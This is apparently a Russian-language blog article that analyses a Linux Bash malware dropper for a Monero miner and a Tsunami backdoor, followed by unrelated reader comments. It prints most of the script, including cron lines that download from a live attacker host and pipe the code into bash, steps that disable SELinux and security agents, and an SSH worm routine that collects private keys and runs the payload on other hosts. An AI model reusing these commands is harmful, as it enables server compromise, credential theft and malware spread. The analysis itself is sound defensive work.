Анализ вируса под Linux на Bash
Код вируса на Bash
В статье «Поиск и удаление вредоносных программ из Linux» мы рассмотрели типичные примеры как вирус в Linux закрепляет своё присутствие (чтобы сохраниться и запустится после перезагрузки), а также собрали примеры команд, которые позволят системному администратору выявить присутствие вредоносного ПО.
Мы нашли, что в расписание задач Cron записывается следующая строка:
(curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms
Процесс на заражённом сервере выглядел так:
/bin/sh -c (curl -fsSL http://bash.givemexyz.in/xms||wget -q -O- http://bash.givemexyz.in/xms||python -c 'import urllib2 as fbi;print fbi.urlopen("http://bash.givemexyz.in/xms").read()')| bash -sh; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms
Рассмотрим эти команды. Первая часть с помощью curl, или wget или python пытается загрузить вредоносный код:
(curl -fsSL http://bash.givemexyz.in/xms || wget -q -O- http://bash.givemexyz.in/xms || python -c 'import urllib2 as fbi; print fbi.urlopen("http://bash.givemexyz.in/xms").read()')
Затем по трубе (конвейеру) этот код передаётся Bash для выполнения:
| bash -sh;
Далее функция lwp-download (которая не является встроенной функцией или командой Bash) вновь пытается загрузить этот же адрес и сохранить код в файл /tmp/xms, затем делается две попытки запустить указанный файл и, наконец, он удаляется:
lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms; /tmp/xms; rm -rf /tmp/xms
Скачаем код по ссылке — как и можно было ожидать, им оказался Bash скрипт:
Анализ вируса для Linux
Скрипт довольно большой — 300+ строк, интересен скрипт тем, что не просто загружает и запускает вредоносный код, но ещё и пытается заразить другие компьютеры в сети! Анализ вредоносных программ кроме очевидной цени — изучение принципа их работы, — также может помочь с выявлением приёмов, которым вирус пытался замаскироваться и закрепиться в системе. Последнее нужно для полного удаления вредоносного кода из компьютера. Разберём построчно весь код вируса.
Устанавливаются значение переменных $SHELL и $PATH — видимо, это необходимо для работоспособности скрипта:
SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin
Отключение форсированного режима SELinux:
setenforce 0 2>/dev/null
Устанавливается максимальное количество процессов, которое может иметь один пользователь — не уверен для чего, возможно, оптимизация для работы майнера, который скачивает данный вирус:
ulimit -u 50000
С помощью команды (это команда не из вируса)
ulimit -a
можно посмотреть текущие значения: в домашнем компьютере у меня 127782 процессов на пользователя, на сервере это 11873 — видимо, значение устанавливается автоматически, например, исходя из количество оперативной памяти или ядер процессора.
Зачем-то в скаченном коде устанавливается значение Huge Pages — может быть, ещё одна оптимизация для майнера. В качестве значение берётся количество ядер и умножается на 3:
sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
Следующий набор команд убивает процессы, которые используют сетевые соединения с указанными портами и IP адресами — возможно, вирус удаляет конкурентов или свои старые версии:
netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':4444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':5790' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':45700' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':2222' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':9999' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':20580' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '23.94.24.12:8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9 netstat -antp | grep '134.122.17.13:8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9 netstat -antp | grep '107.189.11.170:443' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
Довольно интересный способ получить случайные значения:
rand=$(seq 0 255 | sort -R | head -n1) rand2=$(seq 0 255 | sort -R | head -n1)
Но значения этих переменных не используются. В дальнейшем переменной $rand заново присваивается случайное значение в нужном автору диапазоне. Можно отметить, что диапазон 0-255 характерен для IP адресов.
Снимается блокировка с перечисленных файлов — на эти файлы нужно обратить внимание при удалении вируса:
chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
Смотрите также: Атрибуты файлов в Linux
Следующий фрагмент кода всячески пытается удалить службы aliyun и yunjing — я не знаю, что это за службы, судя по всему, инструменты администрирования и мониторинга (облачных) серверов Linux:
if ps aux | grep -i '[a]liyun'; then (wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh (wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi sleep 1 echo "DER Uninstalled"
В оригинальном коде здесь используются нетипичные отступы, видимо, это копипаста из другого источника — не авторская наработка.
Снимается защита от удаления и записи файла /tmp/dbused — запоминаем это расположение для поиска следов вируса:
chattr -ai /tmp/dbused
Следующий код с помощью ifconfig или ip пытается получить префикс сети, например, «192.168»:
if [ -s /usr/bin/ifconfig ]; then range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1) else range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1) fi
Значение префикса сети записывается в переменную $range, которая как и $rand с $rand2 нигде не используется — возможно, это недописанная (неудачная) задумка.
Проверяется связь с майнинг пулом, если она отсутствует, то переменной $dns присваивается значение -d, которое затем передаётся программе-майнеру:
if [ $(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ]; then dns="" else dns="-d" fi
Теперь проверяется связь до сервера злоумышленника, если она есть, в качестве адреса будет использоваться URL, если пинг неудачный, то в качестве адреса будет записан IP:
if [ $(ping -c 1 bash.givemexyz.in 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ]; then url="http://bash.givemexyz.in" else url="http://104.244.75.159" fi
Эти строки пытаются прописать вирус в задачах Cron:
echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/root echo -e "*/2 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/apache echo -e "*/3 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /etc/cron.d/nginx echo -e "*/30 * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo -e "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root mkdir -p /etc/cron.hourly echo "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1
Обратите внимание, что используется переменная $DIR, но она нигде ещё не устанавливалась.
Это может означать, что вирус записывает правильные строки в Cron только при втором его запуске, когда в оболочке уже установлено значение $DIR (или вовсе не записывает правильное значение).
Посмотрите пример (эта команда не из вируса):
echo $DIR; DIR='something'
если запустить только один раз, то ничего не будет выведено. Но если запустить второй раз эту же команду, то будет выведена строка. Если закрыть и открыть терминал, а затем снова запустить команду, то опять ничего не будет выведено.
Также нигде не объявлялась функция «lwp-download», которая вызывается с аргументами $url/xms и $DIR/xms, то есть файл сохраняется с именем «xms».
«\n##» — это символ новой строки и две решётки на следующей (комментарий) (эта команда не из вируса):
echo -e '\n##' ##
Возвращаемся к коду вируса. Ага, наконец устанавливается значение переменной $DIR:
DIR="/tmp"
Выполняется переход в папку /tmp:
cd $DIR
Следующий код вычисляет MD5 хеш для файла /tmp/dbused и сравнивает его с двумя хешами. Если хеш не совпадает, то удаляется файл /usr/local/lib/libkk.so, стирается файла /etc/ld.so.preload, завершаются 2 процесса в именах которых есть «wc.conf» и «susss» – видимо, это очистка от старой версии. Если файл вовсе отсутствует, то создаётся директория в /tmp.
if [ -a "/tmp/dbused" ] then if [ -w "/tmp/dbused" ] && [ ! -d "/tmp/dbused" ] then if [ -x "$(command -v md5sum)" ] then sum=$(md5sum /tmp/dbused | awk '{ print $1 }') echo $sum case $sum in dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e) echo "x86_64 OK" ;; *) echo "x86_64 wrong" rm -rf /usr/local/lib/libkk.so echo "" > /etc/ld.so.preload pkill -f wc.conf pkill -f susss sleep 4 ;; esac fi echo "P OK" else DIR=$(mktemp -d)/tmp mkdir $DIR echo "T DIR $DIR" fi else if [ -d "/tmp" ] then DIR="/tmp" fi echo "P NOT EXISTS" fi
Проверяется наличие директории /tmp/.sh/dbused (запоминаем для поиска экземпляров вируса) и если её нет, то создаётся временная папка.
if [ -d "/tmp/.sh/dbused" ] then DIR=$(mktemp -d)/tmp mkdir $DIR echo "T DIR $DIR" fi
Объявление функции get, функция убирает блокировку с файла (имя передаётся во втором аргументе, а URL в первом аргументе функции), пытается его скачать тремя разными способами и сохраняет файл, делая его исполнимым:
get() { chattr -i $2; rm -rf $2 wget -q -O - $1 > $2 || curl -fsSL $1 -o $2 || lwp-download $1 $2 || chmod +x $2 }
Объявление функции downloadIfNeed, которая нигде не используется. Она проверяет, имеется ли файл «$DIR/dbused», если нет, то скачивает его, если имеется, то проверяет MD5 хеш, сравнивая с двумя значениями. Если хеш неверный, то пытается его скачать.
Новые имена файлов вируса:
- $DIR/x86_64
- $DIR/sssus
- $DIR/tmp.txt
downloadIfNeed() { if [ -x "$(command -v md5sum)" ] then if [ ! -f $DIR/dbused ]; then echo "File not found!" download fi sum=$(md5sum $DIR/dbused | awk '{ print $1 }') echo $sum case $sum in dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e) echo "x86_64 OK" ;; *) echo "x86_64 wrong" sizeBefore=$(du $DIR/x86_64) if [ -s /usr/bin/curl ]; then WGET="curl -k -o "; fi if [ -s /usr/bin/wget ]; then WGET="wget --no-check-certificate -O "; fi download sumAfter=$(md5sum $DIR/x86_64 | awk '{ print $1 }') if [ -s /usr/bin/curl ]; then echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sssus` > $DIR/tmp.txt fi ;; esac else echo "No md5sum" download fi }
Ещё один фрагмент кода, который фактически не используется, поскольку представляет собой объявление функции, вызываемой только из другого неиспользуемого фрагмента кода.
Упоминаются возможные имена вируса
- $DIR/x86_643
- $DIR/x86_64
download() { if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/x86_643 | awk '{ print $1 }') echo $sum case $sum in dc3d2e17df6cef8df41ce8b0eba99291 | dc3d2e17df6cef8df41ce8b0eba99291) echo "x86_64 OK" cp $DIR/x86_643 $DIR/x86_64 cp $DIR/x86_643 $DIR/x86_64 ;; *) echo "x86_64 wrong" download2 ;; esac else echo "No md5sum" download2 fi }
И ещё одна функция, которая вызывается только в другой неиспользуемой функции:
download2() { get $url/$(uname -m) "$DIR"/dbused if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/dbused | awk '{ print $1 }') echo $sum case $sum in dc3d2e17df6cef8df41ce8b0eba99291 | 101ce170dafe1d352680ce0934bfb37e) echo "x86_64 OK" cp $DIR/x86_64 $DIR/x86_643 ;; *) echo "x86_64 wrong" ;; esac else echo "No md5sum" fi }
В следующей функции проверяется, установлено ли соединение с 212.114.52.24:8080 или 194.5.249.24:8080, и если это не так, то скачивается файл $url/$(uname -m), то есть фактически bash[.]givemexyz[.]in/x86_64 и сохраняется он в файл по пути /tmp/dbused. Скаченный файл делается исполнимым и запускается дважды с опцией «-pwn» и опцией «-c $dns», значение переменной $dns может быть «-d» или пустая строка.
judge() { if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'ESTABLISHED'|grep -v grep)" ]; then get $url/$(uname -m) "$DIR"/dbused chmod +x "$DIR"/dbused "$DIR"/dbused -c $dns "$DIR"/dbused -pwn sleep 5 else echo "Running" fi }
Этот код опят проверяет подключения до 212.114.52.24:8080 и 194.5.249.24:8080 и если нет установленных подключений или прослушивания портов, то запускает предыдущую функцию judge.
if [ ! "$(netstat -ant|grep '212.114.52.24:8080\|194.5.249.24:8080'|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ]; then judge else echo "Running" fi
Следующий код проверят наличие установленного подключения до 104.168.71.132:80 и если оно отсутствует, то скачивает файл bash[.]givemexyz[.]in/bashirc.x86_64, который сохраняет по пути /tmp/bashirc. Скаченным файлом является троян (бэкдор) ботнета Tsunami. Можно сделать вывод, что одним из управляющих серверов данного ботнета является 104.168.71.132.
Можно попытаться выполнить анализ трафика, связанные статьи:
if [ ! "$(netstat -ant|grep '104.168.71.132:80'|grep 'ESTABLISHED'|grep -v grep)" ]; then get $url/bashirc.$(uname -m) "$DIR"/bashirc chmod 777 "$DIR"/bashirc "$DIR"/bashirc else echo "Running" fi
Функция, которая пытается закрепить вирус в системе. Код отличается отступами от остального кода, в отличие от предыдущих попыток записаться в расписание задач Cron, здесь используются уже объявленная переменная $DIR (хотя функция lwp-download так нигде и не была объявлена).
В коде имеется ряд ошибок:
- используется команда «at», которая обычно отсутствует по умолчанию
- используется переменная $RANDOM, значение которой не установлено
Тем не менее, можно догадаться, что логика следующая: если недоступно закрепление вируса через Cron, то он пытается сохраниться в одном из следующих расположений, выбранных наугад:
- /dev/shm/cruner
- /tmp/cruner
- /var/tmp/cruner
- /home/$(whoami)/cruner
- /run/user/$(echo $UID)/cruner
- /run/user/$(echo $UID)/systemd/cruner
В качестве вируса сохраняется полезная нагрузка из переменной $pay.
cronbackup() { pay="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR" status=0 crona=$(systemctl is-active cron) cronb=$(systemctl is-active crond) cronatd=$(systemctl is-active atd) if [ "$crona" == "active" ] ; then echo "cron okay" elif [ "$cronb" == "active" ]; then echo "cron okay" elif [ "$cronatd" == "active" ] ; then status=1 else status=2 fi if [ $status -eq 1 ] ; then for a in $(at -l|awk '{print $1}'); do at -r $a; done echo "$pay" | at -m now + 1 minute fi if [ $status -eq 2 ] || [ "$me" != "root" ] ;then arr[0]="/dev/shm" arr[1]="/tmp" arr[2]="/var/tmp" arr[3]="/home/$(whoami)" arr[4]="/run/user/$(echo $UID)" arr[5]="/run/user/$(echo $UID)/systemd" rand=$[$RANDOM % ${#arr[@]}] echo "Setting up custom backup" ps auxf|grep -v grep|grep "cruner" | awk '{print $2}'|xargs kill -9 key="while true; do sleep 60 && $pay; done" echo -e "$key\n##" > ${arr[$rand]}/cruner && chmod 777 ${arr[$rand]}/cruner nohup ${arr[$rand]}/cruner >/dev/null 2>&1 & sleep 15 rm -rf ${arr[$rand]}/cruner fi } cronbackup
Следующий фрагмент даёт нам ещё один IP 209.141.40.190 — если он не упоминается в какой-либо задаче Cron, то делается попытка записать уже знакомую нам полезную нагрузку.
if crontab -l | grep -q "$url\|209.141.40.190" then echo "Cron exists" else crontab -r echo "Cron not found" echo "* * * * * (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" | crontab - fi
Наконец, в этой части вирус пытается проникнуть в компьютеры, на которые когда-либо выполнялся вход с заражённой системы и выполнить там вредоносный код.
Собираются ключи
- id_rsa*pub из директорий и поддиректорий ~/, /root и /home
- IdentityFile из ~/.ssh/config, /home/*/.ssh/config и /root/.ssh/config
- *.pem из директорий и поддиректорий ~/, /root и /home
Собираются имена хостов
- из полей HostName файлов ~/.ssh/config, /home/*/.ssh/config и /root/.ssh/config
- из команд ssh и scp, найденных в файлах ~/.bash_history, /home/*/.bash_history и /root/.bash_history
- IP адреса из файлов ~/*/.ssh/known_hosts, /home/*/.ssh/known_hosts и /root/.ssh/known_hosts
Имена пользователей собираются следующим образом:
- сканируются папки ~/, /root и /home и если там найден файл id_rsa в папке .ssh, то имя пользователя-владельца добавляется в список
- в список добавляется root
Когда списки ключей, хостов и пользователей составлены, то начинается перебор с попыткой выполнить полезную нагрузку на удалённом хосте.
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub) KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }') KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq) HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}') HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}") HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq) USERZ=$( echo "root" find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh" ) userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-) for user in $userlist; do for host in $hostlist; do for key in $keylist; do chmod +r $key; chmod 400 $key ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms" done done done
Бессмысленный код, поскольку данные файлы ранее не упоминались
rm -rf "$DIR"/2start.jpg rm -rf "$DIR"/xmi
Наконец, делается попытка заблокировать от удаления указанные файлы — они содержат задачи Cron с полезной нагрузкой вируса.
chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
Анализ бинарных файлов
Связанные статьи:
- Обратный инжиниринг с использованием Radare2 (Reverse Engineering)
- Обратный инжиниринг с использованием Radare2 (Reverse Engineering) (часть 2)
Как минимум, стоит попытаться найти строки в файлах вирусов, поскольку там могут быть имена файлов, IP адреса, полезная нагрузка:
rabin2 -z bashirc.x86_64 rabin2 -z x86_64
Но в данном случае ничего не найдено, возможно, из-за применения упаковщика UPX.
Информация на VirusTotal для dbused, он же x86_64: https://www.virustotal.com/gui/file/4809d9eeb0c9ff1b8ecb557dca4b50acfa02d1dbf308346338666a05b6a29c57/detection
Информация о bashirc.x86_64: https://www.virustotal.com/gui/file/fc46525f37cc3f2a7e43d83dc5dd48ff8f7a456148e615cb9f592e6976635c1d/detection
Итак
Анализ полезной нагрузки, скриптов, исполнимых файлов может помочь найти способы закрепления вируса, адреса управляющих серверов, адреса загружаемых на компьютер жертвы вирусов.
Как можно понять по неиспользуемым фрагментам и стилистике кода, код прошёл определённое развитие, возможно, скомпилирован из разных источников.
Смотрите также: Структура директорий Linux. Важные файлы Linux
Связанные статьи:
- Поиск и удаление вредоносных программ из Linux (75%)
- Время создания, доступа и изменения файла: что это, как их узнать и изменить. Как найти файлы по их времени создания, изменения или последнему открытию (67.2%)
- Поиск в компьютере на Windows и Linux следов взлома (56.8%)
- Как узнать, к каким Wi-Fi сетям подключался компьютер и пароли от этих Wi-Fi сетей (50.6%)
- Как узнать, какие USB устройства подключались к Linux (50.6%)
- Азы работы в командной строке Linux (часть 5) (RANDOM - 1.6%)
Статья для меня и для многих новичков очень полезная. немогу поставить оценку потому-что не на столько профессионал чтоб оценивать труды тех кто ломал над этим голову.
Здравствуйте. Извиняюсь, что не по теме. Но может быть, Вы сможет мне помочь. В процессе обновления Kali экран погас, а после перезагрузки возникла следующая ошибка:
You are in emergency mode. After logging in, type 'journalctl-xb' to view system logs, 'systemctl reboot'
'systemctl default' or "exit" to boot into default mode.
Cannot open access to console, the root account is locked.
See sulogin(8) man page for more details.
Press Enter to continue.
Reloading system manager configuration
После нажатия Enter всё повторяется.
Приветствую! Просьба вопросы на произвольные темы задавать на форуме. По вашей ошибке посмотрите статью «Ошибка «Cannot open access to console, the root account is locked»». То есть сначала надо разблокировать пользователя root, а потом попытаться исправить причину ошибки.
Спасибо, форум-то я и не приметила.
Зарегистрировалась на форуме, начала создавать тему, а потом:
403 Forbidden You don't have permission to access / on this server.
Приветствую! Сейчас должно работать нормально.